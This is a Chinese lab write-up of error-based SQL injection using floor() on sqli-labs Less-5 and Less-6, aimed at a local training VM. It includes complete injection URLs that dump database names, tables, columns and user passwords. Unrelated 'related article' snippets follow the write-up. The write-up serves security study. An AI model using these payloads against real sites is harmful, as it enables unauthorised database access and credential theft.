基于floor函数报错注入sqli-labs less-5和less-6

devtools/2024/10/11 0:49:56/

sqli-labs第五六关基于floor报错注入

在这里插入图片描述

测试基于虚拟机搭建的靶场,在主机浏览器进行测试
首先能到第五关的对于基础的字符数字型判断,闭合方式,列数判断有一定了解,所以不再进行演示,直接进行数据爆破
关于floor函数报错注入详解可以参考:
关于floor()报错注入,你真的懂了吗?

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

直接开始测试

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select database()),floor(rand(14)*2)) as a from information_schema.tables group by a --+
爆出数据库

在这里插入图片描述
版本

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select version()),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
爆出数据库

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select (schema_name) from information_schema.schemata limit 5,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
可以修改limit函数的1来查看所有的数据库

在这里插入图片描述

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
也可以修改limit函数查看所有表明

在这里插入图片描述
爆出列名

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述

爆出数据

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(‘~’,username,password) from security.users limit 1,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
至此,第五关的基本完成,第六关与第五关同理,只不过闭合方式不同,第六关闭合方式为",对于上面提及的文章,个人十分推崇。


http://www.ppmy.cn/devtools/123906.html

相关文章

2024互联网下载神器IDM6.42你值得拥有

🔥 互联网下载神器大揭秘!IDM6.42你值得拥有 🚀 Hey,各位小伙伴们,今天我要给你们安利一款我超爱的软件——Internet Download Manager 6.42(简称IDM),这款下载器简直就是下载界的“…

Jensen-Shannon散度(JS散度)

Jensen-Shannon散度(Jensen-Shannon Divergence, JS散度)是概率分布之间的一种相似性度量。它是基于Kullback-Leibler散度(KL散度)的对称版本,并且具有一些更好的性质,例如它总是非负的,并且是有…

【笔记学习篇】一篇文章搞定Mybatis-快速回顾

概述 5.1.1 Mybatis简介 Mybatis是一款优秀的持久层框架,它以sql为中心,支持定制化sql、存储过程以及高级映射。 使用Mybatis框架,可以无需手动编写基础的JDBC代码、无需手动设置参数和转换结果集到对象。 Mybatis可以使用简单的xml或注解来…

java速成指南

密码都是 123 适用于php .net 7天转java 【腾讯文档】快速上手培训-阿龙 分享给你多个文件 https://docs.qq.com/s/jUcRQ4VPA4grzx8SPYzrBa 第一节 安装jdk,maven,idea_哔哩哔哩_bilibili

心觉:开发潜意识的详细流程和步骤是什么

Hi,我是心觉,与你一起玩转潜意识、脑波音乐和吸引力法则,轻松掌控自己的人生! 挑战每日一省写作195/1000天 最近领教了一下潜意识的力量和吸引力法则 我想要一张可以放在榻榻米壁柜上的迷你型的电动升降桌,桌面60cm…

网络编程(17)——asio多线程模型IOThreadPool

十七、day17 之前我们介绍了IOServicePool的方式,一个IOServicePool开启n个线程和n个iocontext,每个线程内独立运行iocontext, 各个iocontext监听各自绑定的socket是否就绪,如果就绪就在各自线程里触发回调函数。为避免线程安全问题&#xf…

Python测试框架--Allure

严格意义上讲 Allure 不算是测试框架,但是它是生成漂亮测试报告的开源工具,搭配 Pytest 测试框架食用更搭。 也就是说 Allure 是在 Pytest 执行完生成的测试数据的基础上,对测试数据进行处理统计,生成格式统一、美观的测试报告。 …

分治算法(3)_快速选择_数组中的第K个最大元素

个人主页:C忠实粉丝 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 C忠实粉丝 原创 分治算法(3)_快速排序_数组中的第K个最大元素 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记,欢迎大家在评论区交流讨论&#…